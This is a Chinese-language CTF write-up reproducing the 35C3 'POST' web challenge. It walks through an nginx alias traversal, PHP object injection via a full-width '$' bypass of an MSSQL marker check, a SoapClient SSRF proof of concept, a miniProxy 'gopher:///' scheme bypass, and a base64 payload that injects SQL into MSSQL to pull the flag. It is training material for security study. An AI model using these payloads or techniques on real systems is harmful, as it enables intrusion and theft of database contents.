35c3 POST题目复现

最近有点忙,所以拖了这么久才来复现这个题目,题目官方已经给了wp和docker环境,https://github.com/eboda/35c3/可以本地搭建一下。

题目的描述如下:

1
2
3
4
Go make some posts http://35.207.83.242/
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

0x1 nginx配置问题,导致文件文件读取

1
http http://127.0.0.1:8000/uploads../

可以列取web目录,发现有个default.backup,是nginx的配置文件,发现开了两个web服务,一个在80端口,一个在8080端口的只允许本地访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
server {
listen 80;
access_log /var/log/nginx/example.log;

server_name localhost;

root /var/www/html;

location /uploads {
autoindex on;
alias /var/www/uploads/;
}

location / {
alias /var/www/html/;
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

location /inc/ {
deny all;
}
}

server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}
}

下载下来所有的代码,进行审计

0x2 post服务的任意类伪造

先下载下来 html 目录post服务的代码,发现基本功能如下:

1.创建post的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#filename:default.php 

if (isset($_POST["title"])) {
$attachments = array();
if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {

$folder = sha1(random_bytes(10));
mkdir("../uploads/$folder");
for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
if ($_FILES["attach"]["error"][$i] !== 0) continue;
$name = basename($_FILES["attach"]["name"][$i]);
move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
$attachments[] = new Attachment("/uploads/$folder/$name");
}
}
$post = new Post($_POST["title"], $_POST["content"], $attachments);
$post->save();
}

2.显示post的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
#filename:default.php 

$posts = Post::loadall();
if (empty($posts)) {
echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
} else {
echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
}

foreach($posts as $p) {
echo $p;
echo "<br><br>";
}

与这个功能相关两个类,PostAttachment类的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

#filename:post.php
class Attachment {
private $url = NULL;
private $za = NULL;
private $mime = NULL;

public function __construct($url) {
$this->url = $url;
$this->mime = (new finfo)->file("../".$url);
if (substr($this->mime, 0, 11) == "Zip archive") {
$this->mime = "Zip archive";
$this->za = new ZipArchive;
}
}

public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}

}

class Post {
private $title = NULL;
private $content = NULL;
private $attachment = NULL;
private $ref = NULL;
private $id = NULL;


public function __construct($title, $content, $attachments="") {
$this->title = $title;
$this->content = $content;
$this->attachment = $attachments;
}

public function save() {
global $USER;
if (is_null($this->id)) {
DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
array($USER->uid, $this->title, $this->content, $this->attachment));
} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}
}

public static function truncate() {
global $USER;
DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid));
}

public static function load($id) {
global $USER;
$res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
array($USER->uid, $id));
if (!$res) die("db error");
$res = $res[0];
$post = new Post($res["title"], $res["content"], $res["attachment"]);
$post->id = $id;
return $post;
}

public static function loadall() {
global $USER;
$result = array();
$posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
if (!$posts) return $result;
foreach ($posts as $p) {
$result[] = Post::load($p["id"]);
}
return $result;
}

public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}
}

0x2.1 数据存入数据库的过程

着重看一下Post类的save操作:

1
2
3
4
5
6
7
8
9
10
11
12
#filename:post.php

public function save() {
global $USER;
if (is_null($this->id)) {
DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
array($USER->uid, $this->title, $this->content, $this->attachment));
} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}
}

这里需要注意的是 $this->attachment 是一个包含Attachment类实例的数组,这个类数组在写数据库的时候是怎么处理的?
继续跟踪DB类的insert和query操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#filename:db.php

public static function query($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();
$res = sqlsrv_query(DB::$con, $sql, $values);
if ($res === false) DB::error();

return DB::retrieve_values($res);
}

public static function insert($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();

$values = DB::prepare_params($values);

$x = sqlsrv_query(DB::$con, $sql, $values);
if (!$x) throw new Exception;
}

看到 insert 函数里调用了 prepare_params,看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#filename:db.php

private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}

if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}

return $x;
}, $params);
}

看到这里就明白了,插入数据库之前,对object数据或者array数据进行了一次序列化,并在前面加上了字符串$serializedobject$作为标志。

但是DB类的query函数中并没有调用prepare_params函数,所以我曾一度认为漏洞点在这里

1
2
3
4
5
6
#filename: post.php

} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}

现在看来难道是出题人这里写错了,不过好像永远不会执行到这里?

0x2.2 数据读出数据库的过程

看第2个功能,显示post的功能,Postloadall函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#filename:post.php
public static function load($id) {
global $USER;
$res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
array($USER->uid, $id));
if (!$res) die("db error");
$res = $res[0];
$post = new Post($res["title"], $res["content"], $res["attachment"]);
$post->id = $id;
return $post;
}

public static function loadall() {
global $USER;
$result = array();
$posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
if (!$posts) return $result;
foreach ($posts as $p) {
$result[] = Post::load($p["id"]);
}
return $result;
}

load函数调用了DB::query函数,DB::query函数会调用retrieve_values进行反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
#filename:db.php 

private static function retrieve_values($res) {
$result = array();
while ($row = sqlsrv_fetch_array($res)) {
$result[] = array_map(function($x){
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);
}
return $result;
}

可以看到,这里把从数据库中取出的所有字段中查找$serializedobject$标志,如果找到了就把标志后面的部分进行反序列化。这里关键词是所有字段,如果我们可以伪造以$serializedobject$开头的字符串,存入数据库中,就可以造成任意类伪造了。

但是在数据存入数据库之前会检查数据中是否有$serializedobject$,如果有就不允许写入数据库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#filename:db.php

private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}

if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}

return $x;
}, $params);
}

看了官方的WP,才知道这里有个小trick:

Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

这里说的0xEF 0xBC 0x84其实说的UTF-8编码,对应的二进制是1110 1111 1011 1100 1000 0100,根据unicode和utf8的转换规则,这里表示的unicode字符应该是1111 1111 0000 0100,即0xFF04,查一下unicode表,表示的字符是,是$的全角字符。

mssql会把这种全角字符转化为对应的ascii码,所以0xFF21~0xFF5A这个范围内的字符都是可以被转换的,可以利用这个trick绕过这个检查。

其实这种数据库关于字符的trick,在mysql中也不少,例如:

1
2
3
4
5
select username from table where username='admin%2c'; 
select username from table where username='Àdmin';

-- 这两个sql语句都可能查出admin的记录,但是原理不一样,可以自己去看p师傅的博客或者小密圈。
𝍠 𝍡 𝍣 𝍥 -- 这几个字符会引起截断

所以插入post的时候,在content字段伪造$serializedobject$序列化的数据,在显示post的时候就会成功的反序列化出任意类。

0x3 反序列化触发SSRF

可以进行任意类伪造了,但是伪造什么类呢,根据/miniProxy目录里面的代码,很容易想到需要伪造SoapClient,进行SSRP的,接下来就是找怎么触发SoapClient来发请求了。

看展示post的代码:

1
2
3
4
5
#filename:default.php
foreach($posts as $p) {
echo $p;
echo "<br><br>";
}

这里的$pPost类的示例,所以会调用Post类的__toString函数:

1
2
3
4
5
6
7
8
9
10
11
#filename:post.php
public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}

在这里展示$this->attachment的时候,又会调用Attachment__toString函数:

1
2
3
4
5
6
7
8
9
10
#filename:post.php

public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}

注意这里的$this->za->open()操作,如果我们伪造$this->zaSoapClient类的实例,在这里调用open函数的时候,就会触发SoapClient__call函数,发送一次请求。

所以利用思路是,伪造contentAttachment实例,其中的$this->za是一个SoapClient实例,那么在展示content的时候就会触发Attachment__toString操作,从而触发SoapClient__call函数。

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Attachment {
private $url = NULL;
private $za = NULL;
private $mime = NULL;

public function __construct() {
$this->url = "test";
$this->mime = "test"
$this->za = new SoapClient(null,array('location' => "http://127.0.0.1:9999",
'uri'=> "http://test-uri/"));
}
}

$attachment = new Attachment();
echo '$serializedobject$'.serialize($attachment);

看到发送的请求,如下:

0x4 利用miniProxy

看miniProxy的nginx配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}
}

miniProxy只接受GET请求,但是Soapclient发送的请求,默认是POST的,这个其实很好绕过,在这篇文章http://wonderkun.cc/index.html/?p=691中我就讲过这个利用SoapClient类的CRLF漏洞,发起长连接的技巧,这里刚好用上了。

下面主要看一下怎么利用miniProxy了,审计一下miniProxy的代码

看下面这一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (isset($_POST["miniProxyFormAction"])) {
$url = $_POST["miniProxyFormAction"];
unset($_POST["miniProxyFormAction"]);
} else {
$queryParams = Array();
parse_str($_SERVER["QUERY_STRING"], $queryParams);
//If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it.
if (isset($queryParams["miniProxyFormAction"])) {
$formAction = $queryParams["miniProxyFormAction"];
unset($queryParams["miniProxyFormAction"]);
$url = $formAction . "?" . http_build_query($queryParams);
} else {
$url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);
}
}

可以看到在只能对miniProxy发GET请求的情况下的$url有两种来源方式:

1
2
1. $url = $formAction . "?" . http_build_query($queryParams);
2. $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);

下面对$url进行了一些检查,只允许http和https协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
} else if (strpos($url, ":/") !== strpos($url, "://")) {
//Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash.
//See https://github.com/joshdick/miniProxy/pull/14
$pos = strpos($url, ":/");
$url = substr_replace($url, "://", $pos, strlen(":/"));
}
$scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
//Assume that any supplied URLs starting with // are HTTP URLs.
if (strpos($url, "//") === 0) {
$url = "http:" . $url;
}
} else if (!preg_match("/^https?$/i", $scheme)) {
die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}

这个代码明显少处理一种情况,就是当$scheme为空,并且$url不是以//开头的情况。明显写代码人的认为这种情况的$url一定是错误的,后面调用libcurl访问这样的url一定是发送不出去请求的。

那有没有这样的url,是libcurl可以发送出请求的,并且经过parse_url处理返回的$scheme还是空的呢?
当然是有的,在这个题目https://github.com/wonderkun/CTF_web/blob/master/php4fun/challenge9.php中我们就遇到过。

1
2
php > var_dump(parse_url("http:///www.baidu.com"));
bool(false)

所以可以利用/miniProxy.php?gopher:///来绕过协议的限制,向mssql发送数据。

0x5 利用gopher协议打mssql

最后就是利用gopher来打mssql了,因为mssql的通讯协议不想自己抓了,用官方的exploit.php
需要先找到自己的uid:

1
2
3
4
5
6
#filename:bootstrap.php

} else if (isset($_SESSION["username"])) {
$USER = new User($_SESSION["username"], $_SESSION["password"]);
if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);
}

添加一个DEBUG头,就看到自己的uid了。

然后构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
php exploit.php  "insert into posts(userid,title,content,attachment) values (1,\"test\",(select flag
from flag.flag),\"test\");"

JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2x
vY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdX
Nlcl9hZ2VudCI7czoxMzQ5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJ
TAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAy
JTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTA
wJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMC
VBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwM
CUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDBy
JTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDB
jJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMS
UwMSUwMCVGQyUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwc
yUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUy
QyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTA
wbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAxJTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMC
UyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMjAlMDBmJTAwciUwMG8lMDBtJTAwJTIwJTAwZiUwMGwlMDBhJ
TAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMCUyOSUwMCUzQiUwMCUzQiUwMC0lMDAtJTAwJTIw
JTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=

用python发送这个base64解码之后的content,就可以打到flag了。

去年34c3CTF的时候出SSRF打mysql,35c3CTF的时候出SSRF打sql server 。c3CTF真是太真实了,大胆猜一下,明年打哪个数据库?